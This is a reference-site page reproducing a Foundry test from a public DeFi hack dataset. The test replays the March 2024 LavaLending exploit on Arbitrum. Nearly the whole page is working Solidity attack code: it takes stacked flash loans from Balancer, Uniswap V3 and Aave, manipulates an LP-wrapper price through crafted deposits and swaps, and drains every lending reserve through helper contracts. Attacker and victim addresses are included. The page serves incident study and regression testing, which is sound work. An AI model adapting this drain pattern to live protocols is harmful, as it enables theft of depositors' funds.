Skip to content
THREATWIRE

Public reproduction file

src/test/2024-03/LavaLending_exp.sol

Public reproduction file for dataset entry LavaLending.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-03/LavaLending_exp.sol346 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~340K
8// Attacker : https://arbiscan.io/address/0x851aa754c39bf23cdaac2025367514dfd7530418
9// Attack Contract 1: https://arbiscan.io/address/0x3e52c217a902002ca296fe6769c22fedaee9fda1
10// Attack Contract 2: https://arbiscan.io/address/0x42fae47296b26385c4a5b62c46e4305a27c88988
11// Vulnerable Contract : https://arbiscan.io/address/0x7746872c6892bcfb4254390283719f2bd2d4da76#code
12// Attack Tx : https://app.blocksec.com/explorer/tx/arbitrum/0xcb1a2f5eeb1a767ea5ccbc3665351fadc1af135d12a38c504f8f6eb997e9e603
14// @Analysis
16// https://twitter.com/Phalcon_xyz/status/1773546399713345965
17// @Post Mortem
18// https://hackmd.io/@LavaSecurity/03282024
20interface ILendingPoolProxy {
21 function borrow(
22 address asset,
23 uint256 amount,
24 uint256 interestRateMode,
25 uint16 referralCode,
26 address onBehalfOf
27 ) external;
29 function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
32interface IUniV3Wrapper {
33 function approve(address spender, uint256 value) external returns (bool);
35 function balanceOf(
36 address account
37 ) external view returns (uint256);
39 function getAssets() external view returns (uint256 amount0, uint256 amount1);
41 function deposit(
42 uint256 startingAmount0,
43 uint256 startingAmount1,
44 uint256 minAmount0Added,
45 uint256 minAmount1Added
46 ) external returns (uint128 liquidityMinted, uint256 sharesMinted);
48 function transfer(address to, uint256 value) external returns (bool);
50 function withdraw(
51 uint256 shares
52 ) external returns (uint128 liquidityRemoved, uint256 amount0, uint256 amount1);
55contract ContractTest is Test {
56 IERC20 private constant USDC = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);
57 IERC20 private constant USDCe = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
58 IUSDT private constant USDT = IUSDT(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
59 IERC20 private constant WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
60 IERC20 private constant wstETH = IERC20(0x5979D7b546E38E414F7E9822514be443A4800529);
61 IERC20 private constant ausdcUsdcLP = IERC20(0x1e482f0606152890F84dD59617e13EC06581B45a);
62 IBalancerVault private constant BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
63 IUniV3Wrapper private constant USDC_USDC_LP = IUniV3Wrapper(0x10bdA01aC4E644fD84a04Dab01E15A5eDcEE46dD);
64 Uni_Pair_V3 private constant WETH_USDC = Uni_Pair_V3(0xC6962004f452bE9203591991D15f6b388e09E8D0);
65 Uni_Pair_V3 private constant WETH_USDCe = Uni_Pair_V3(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);
66 Uni_Pair_V3 private constant USDC_USDCe = Uni_Pair_V3(0x8e295789c9465487074a65b1ae9Ce0351172393f);
67 IAaveFlashloan private constant AaveFlashloan = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
68 ILendingPoolProxy private constant LendingPool = ILendingPoolProxy(0x403049E886b13E42C149f15450CEB795216cddC6);
69 address private constant aUSDC = 0x16Cb622CaE7Ad9fd2b0780b2026ED301414781fE;
70 address private constant aUSDCe = 0x16cba9A6a9BB38e339D4250dA0Afd919c6bDBDfE;
71 address private constant aUSDT = 0x8Da6Bc74B2534030cD38C996C395B914990fa684;
72 address private constant aWETH = 0xec9b99C8262b72d846F0F80fCE76AF7D3c7c6AF6;
73 address private constant awstETH = 0xCB1332663a39f238BCD1cc7621E3E24A50251b94;
74 // Following specific values comes from original attack contract storage
75 // Values have been decoded with the use of 'cast storage'
76 uint256 private constant multiplier = 1e12;
77 uint256 private constant divisor = 3567;
78 uint256 private constant specifiedUSDCAmount = 3_940_702_470_228;
79 uint256 private constant specifiedUSDCeAmount = 5_490_000_000_000;
80 uint256 private constant amountOfWETHToTransfer = 35_735_259_567_507_709_558;
81 uint256 private constant valueForCalcDepositAmount = 6_401_169_117_048;
82 uint160 private constant priceLimitForSwap1 = 79_232_123_823_359_799_118_287_999_568;
83 uint160 private constant priceLimitForSwap2 = 79_188_560_314_459_151_373_725_315_960;
84 Helper private helper;
85 Borrower private borrower;
87 function setUp() public {
88 vm.createSelectFork("arbitrum", 195_240_642);
89 vm.label(address(USDC), "USDC");
90 vm.label(address(USDCe), "USDCe");
91 vm.label(address(USDT), "USDT");
92 vm.label(address(WETH), "WETH");
93 vm.label(address(BalancerVault), "BalancerVault");
94 vm.label(address(USDC_USDC_LP), "USDC_USDC_LP");
95 vm.label(address(WETH_USDC), "WETH_USDC");
96 vm.label(address(WETH_USDCe), "WETH_USDCe");
97 vm.label(address(USDC_USDCe), "USDC_USDCe");
98 vm.label(address(AaveFlashloan), "AaveFlashloan");
99 vm.label(address(LendingPool), "LendingPool");
100 }
102 function testExploit() public {
103 emit log_named_decimal_uint(
104 "Exploiter USDCe balance before attack", USDCe.balanceOf(address(this)), USDCe.decimals()
105 );
107 emit log_named_decimal_uint(
108 "Exploiter wstEth balance before attack", wstETH.balanceOf(address(this)), wstETH.decimals()
109 );
111 emit log_named_decimal_uint("Exploiter USDT balance before attack", USDT.balanceOf(address(this)), 6);
113 emit log_named_decimal_uint(
114 "Exploiter WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()
115 );
117 emit log_named_decimal_uint(
118 "Exploiter USDC balance before attack", USDC.balanceOf(address(this)), USDC.decimals()
119 );
121 uint256 amountWETH = calcWETHAmount();
122 address[] memory tokens = new address[](3);
123 tokens[0] = address(WETH);
124 tokens[1] = address(USDC);
125 tokens[2] = address(USDCe);
127 uint256[] memory amounts = new uint256[](3);
128 amounts[0] = amountWETH;
129 amounts[1] = USDC.balanceOf(address(BalancerVault));
130 amounts[2] = USDCe.balanceOf(address(BalancerVault));
132 BalancerVault.flashLoan(address(this), tokens, amounts, "");
134 emit log_named_decimal_uint(
135 "Exploiter USDCe balance after attack", USDCe.balanceOf(address(this)), USDCe.decimals()
136 );
138 emit log_named_decimal_uint(
139 "Exploiter wstEth balance after attack", wstETH.balanceOf(address(this)), wstETH.decimals()
140 );
142 emit log_named_decimal_uint("Exploiter USDT balance after attack", USDT.balanceOf(address(this)), 6);
144 emit log_named_decimal_uint(
145 "Exploiter WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()
146 );
148 emit log_named_decimal_uint(
149 "Exploiter USDC balance after attack", USDC.balanceOf(address(this)), USDC.decimals()
150 );
151 }
153 function receiveFlashLoan(
154 address[] calldata tokens,
155 uint256[] calldata amounts,
156 uint256[] calldata feeAmounts,
157 bytes calldata userData
158 ) external {
159 // amount1=1 because Pair USDC balance is greater than specific value from attack contract (storage 19)
160 WETH_USDC.flash(address(this), 0, 1, abi.encode(uint256(1), uint8(1)));
161 WETH.transfer(address(BalancerVault), amounts[0]);
162 USDC.transfer(address(BalancerVault), amounts[1]);
163 USDCe.transfer(address(BalancerVault), amounts[2]);
164 }
166 function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
167 (uint256 borrowedAmount, uint8 flashId) = abi.decode(data, (uint256, uint8));
168 if (flashId == 1) {
169 // Flashloan USDC
170 uint256 amountUSDC;
171 if (USDC.balanceOf(address(this)) < specifiedUSDCAmount) {
172 amountUSDC = specifiedUSDCAmount - USDC.balanceOf(address(this));
173 } else {
174 amountUSDC = 1;
175 }
176 address[] memory assets = new address[](2);
177 assets[0] = address(USDC);
178 assets[1] = address(USDCe);
179 uint256[] memory amounts = new uint256[](2);
180 amounts[0] = amountUSDC;
181 amounts[1] = 1;
182 uint256[] memory interestRateModes = new uint256[](2);
183 interestRateModes[0] = 0;
184 interestRateModes[1] = 0;
186 AaveFlashloan.flashLoan(address(this), assets, amounts, interestRateModes, address(this), "", 0);
187 USDC.transfer(address(WETH_USDC), 2);
188 } else if (flashId == 2) {
189 USDC.approve(address(USDC_USDC_LP), type(uint256).max);
190 USDCe.approve(address(USDC_USDC_LP), type(uint256).max);
191 USDC_USDC_LP.deposit(1e9, 1e9, 0, 0);
192 helper = new Helper();
193 WETH.transfer(address(helper), amountOfWETHToTransfer);
194 helper.depositAndBorrow();
196 int256 swapAmount = USDCeToUSDC();
197 USDC_USDC_LP.withdraw(USDC_USDC_LP.balanceOf(address(this)));
199 // First deposit to UniV3Wrapper
200 // Following two values are from raw hex values (no calculations found)
201 uint256 amount0 = 2_699_999_999_117;
202 uint256 amount1 = 2_700_269_999_117;
203 uint256 startingAmount0_1 = amount0 * ((1e18 * valueForCalcDepositAmount) / (amount0 + amount1));
204 uint256 startingAmount1_1 = amount1 * ((1e18 * valueForCalcDepositAmount) / (amount0 + amount1));
205 USDC_USDC_LP.deposit(startingAmount0_1 / 1e18, startingAmount1_1 / 1e18, 0, 0);
206 // Second deposit to UniV3Wrapper
207 uint256 startingAmount0_2 = 20 * (startingAmount0_1 / 1e18);
208 uint256 startingAmount1_2 = 20 * (startingAmount1_1 / 1e18);
209 (, uint256 sharesMinted) = USDC_USDC_LP.deposit(startingAmount0_2 / 1000, startingAmount1_2 / 1000, 0, 0);
210 USDC_USDC_LP.approve(address(LendingPool), type(uint256).max);
211 WETH.approve(address(LendingPool), type(uint256).max);
213 // Third deposit to Lending Pool
214 LendingPool.deposit(address(WETH), WETH.balanceOf(address(this)), address(this), 0);
215 // Fourth deposit to Lending Pool
216 LendingPool.deposit(
217 address(USDC_USDC_LP), USDC_USDC_LP.balanceOf(address(this)) - sharesMinted, address(this), 0
218 );
220 borrower = new Borrower();
221 ausdcUsdcLP.transfer(address(borrower), ausdcUsdcLP.balanceOf(address(this)));
222 LendingPool.borrow(address(USDC_USDC_LP), USDC_USDC_LP.balanceOf(address(ausdcUsdcLP)), 2, 0, address(this));
223 USDC_USDC_LP.withdraw(USDC_USDC_LP.balanceOf(address(this)));
224 USDC_USDCe.flash(address(this), 1_000_000, 0, abi.encode(uint256(1_000_000), uint8(3)));
226 borrower.borrow();
227 USDCToUSDCe(swapAmount);
228 USDCe.transfer(address(WETH_USDCe), borrowedAmount + fee1);
229 } else if (flashId == 3) {
230 USDC.transfer(address(USDC_USDCe), 26_001_000_000);
231 }
232 }
234 function executeOperation(
235 address[] calldata assets,
236 uint256[] calldata amounts,
237 uint256[] calldata premiums,
238 address initiator,
239 bytes calldata params
240 ) external returns (bool) {
241 // Flashloan USDCe
242 uint256 amountUSDCe = specifiedUSDCeAmount - USDCe.balanceOf(address(this));
243 WETH_USDCe.flash(address(this), 0, amountUSDCe, abi.encode(uint256(amountUSDCe), uint8(2)));
244 USDC.approve(address(AaveFlashloan), amounts[0] + premiums[0]);
245 USDCe.approve(address(AaveFlashloan), amounts[1] + premiums[1]);
246 return true;
247 }
249 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
250 if (amount0Delta > 0) {
251 USDC.transfer(address(USDC_USDCe), uint256(amount0Delta));
252 } else {
253 USDCe.transfer(address(USDC_USDCe), uint256(amount1Delta));
254 }
255 }
257 function calcTokenAmount(uint256 aTokenBal, uint256 amount) private pure returns (uint256 tokenAmount) {
258 uint256 multipliedBalance = aTokenBal * multiplier;
259 tokenAmount = (amount + (multipliedBalance / divisor));
260 }
262 function calcUSDCLPAmount() private view returns (uint256 amountUSDC) {
263 (uint256 amount0, uint256 amount1) = USDC_USDC_LP.getAssets();
264 uint256 scaledSumOfAmounts = ((amount0 + amount1) * multiplier) / divisor;
265 amountUSDC = (12_625 * scaledSumOfAmounts) / 10_000;
266 }
268 function calcWETHAmount() private view returns (uint256 amount) {
269 uint256 aUSDCAmount = calcTokenAmount(USDC.balanceOf(aUSDC), 0);
270 uint256 aUSDCeAmount = calcTokenAmount(USDCe.balanceOf(aUSDCe), aUSDCAmount);
271 uint256 aUSDTAmount = calcTokenAmount(USDT.balanceOf(aUSDT), aUSDCeAmount);
272 uint256 aWETHAmount = WETH.balanceOf(aWETH) + aUSDTAmount;
274 uint256 a = aWETHAmount + ((wstETH.balanceOf(awstETH) * 1159) / 1000);
275 uint256 b = (a + calcUSDCLPAmount()) * 100;
276 uint256 c = (b / 496) * 100;
277 amount = (c * 104) / 100;
278 }
280 function USDCeToUSDC() private returns (int256 amount) {
281 (amount,) = USDC_USDCe.swap(address(this), false, int256(specifiedUSDCeAmount), uint160(priceLimitForSwap1), "");
282 }
284 function USDCToUSDCe(
285 int256 amount
286 ) private {
287 USDC_USDCe.swap(address(this), true, amount, uint160(priceLimitForSwap2), "");
288 }
291contract Helper {
292 IERC20 private constant WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
293 ILendingPoolProxy private constant LendingPool = ILendingPoolProxy(0x403049E886b13E42C149f15450CEB795216cddC6);
294 IUniV3Wrapper private constant USDC_USDC_LP = IUniV3Wrapper(0x10bdA01aC4E644fD84a04Dab01E15A5eDcEE46dD);
295 address private constant ausdcUsdcLP = 0x1e482f0606152890F84dD59617e13EC06581B45a;
297 function depositAndBorrow() external {
298 WETH.approve(address(LendingPool), type(uint256).max);
299 LendingPool.deposit(address(WETH), WETH.balanceOf(address(this)), address(this), 0);
301 uint256 amount = (USDC_USDC_LP.balanceOf(ausdcUsdcLP) * 99) / 100;
302 LendingPool.borrow(address(USDC_USDC_LP), amount, 2, 0, address(this));
303 USDC_USDC_LP.transfer(msg.sender, amount);
304 }
307contract Borrower {
308 IERC20 private constant USDCe = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
309 IERC20 private constant USDC = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);
310 IUSDT private constant USDT = IUSDT(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
311 IERC20 private constant WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
312 IERC20 private constant wstETH = IERC20(0x5979D7b546E38E414F7E9822514be443A4800529);
313 address private constant aUSDCe = 0x16cba9A6a9BB38e339D4250dA0Afd919c6bDBDfE;
314 ILendingPoolProxy private constant LendingPool = ILendingPoolProxy(0x403049E886b13E42C149f15450CEB795216cddC6);
315 address private constant aUSDC = 0x16Cb622CaE7Ad9fd2b0780b2026ED301414781fE;
316 address private constant aUSDT = 0x8Da6Bc74B2534030cD38C996C395B914990fa684;
317 address private constant aWETH = 0xec9b99C8262b72d846F0F80fCE76AF7D3c7c6AF6;
318 address private constant awstETH = 0xCB1332663a39f238BCD1cc7621E3E24A50251b94;
320 function borrow() external {
321 address[] memory tokens = new address[](5);
322 tokens[0] = address(USDCe);
323 tokens[1] = address(USDC);
324 tokens[2] = address(USDT);
325 tokens[3] = address(WETH);
326 tokens[4] = address(wstETH);
328 address[] memory aTokens = new address[](5);
329 aTokens[0] = address(aUSDCe);
330 aTokens[1] = address(aUSDC);
331 aTokens[2] = address(aUSDT);
332 aTokens[3] = address(aWETH);
333 aTokens[4] = address(awstETH);
335 for (uint256 i; i < tokens.length; ++i) {
336 if (tokens[i] == address(USDT)) {
337 LendingPool.borrow(tokens[i], IUSDT(tokens[i]).balanceOf(aTokens[i]), 2, 0, address(this));
338 IUSDT(tokens[i]).transfer(msg.sender, IUSDT(tokens[i]).balanceOf(address(this)));
339 } else {
340 uint256 amount = IERC20(tokens[i]).balanceOf(aTokens[i]);
341 LendingPool.borrow(tokens[i], amount, 2, 0, address(this));
342 IERC20(tokens[i]).transfer(msg.sender, IERC20(tokens[i]).balanceOf(address(this)));
343 }
344 }
345 }

Analysis

Dataset entry

Public Foundry test for “LavaLending” (2024-03-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

19 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x851aa754c39bf23cdaac2025367514dfd7530418

  • Attack Contract

    0x3e52c217a902002ca296fe6769c22fedaee9fda1

  • Attack Contract

    0x42fae47296b26385c4a5b62c46e4305a27c88988

  • Vulnerable Contract

    0x7746872c6892bcfb4254390283719f2bd2d4da76

  • Attack Tx

    0xcb1a2f5eeb1a767ea5ccbc3665351fadc1af135d12a38c504f8f6eb997e9e603

File record

Name
LavaLending
Path
src/test/2024-03/LavaLending_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
13eac9683e89a9b4394d10de59b70e95d8ca806f
Language
Solidity
Size
347 lines
Date
2024-03-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-03/LavaLending_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 13eac9683e89a9b4394d10de59b70e95d8ca806f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.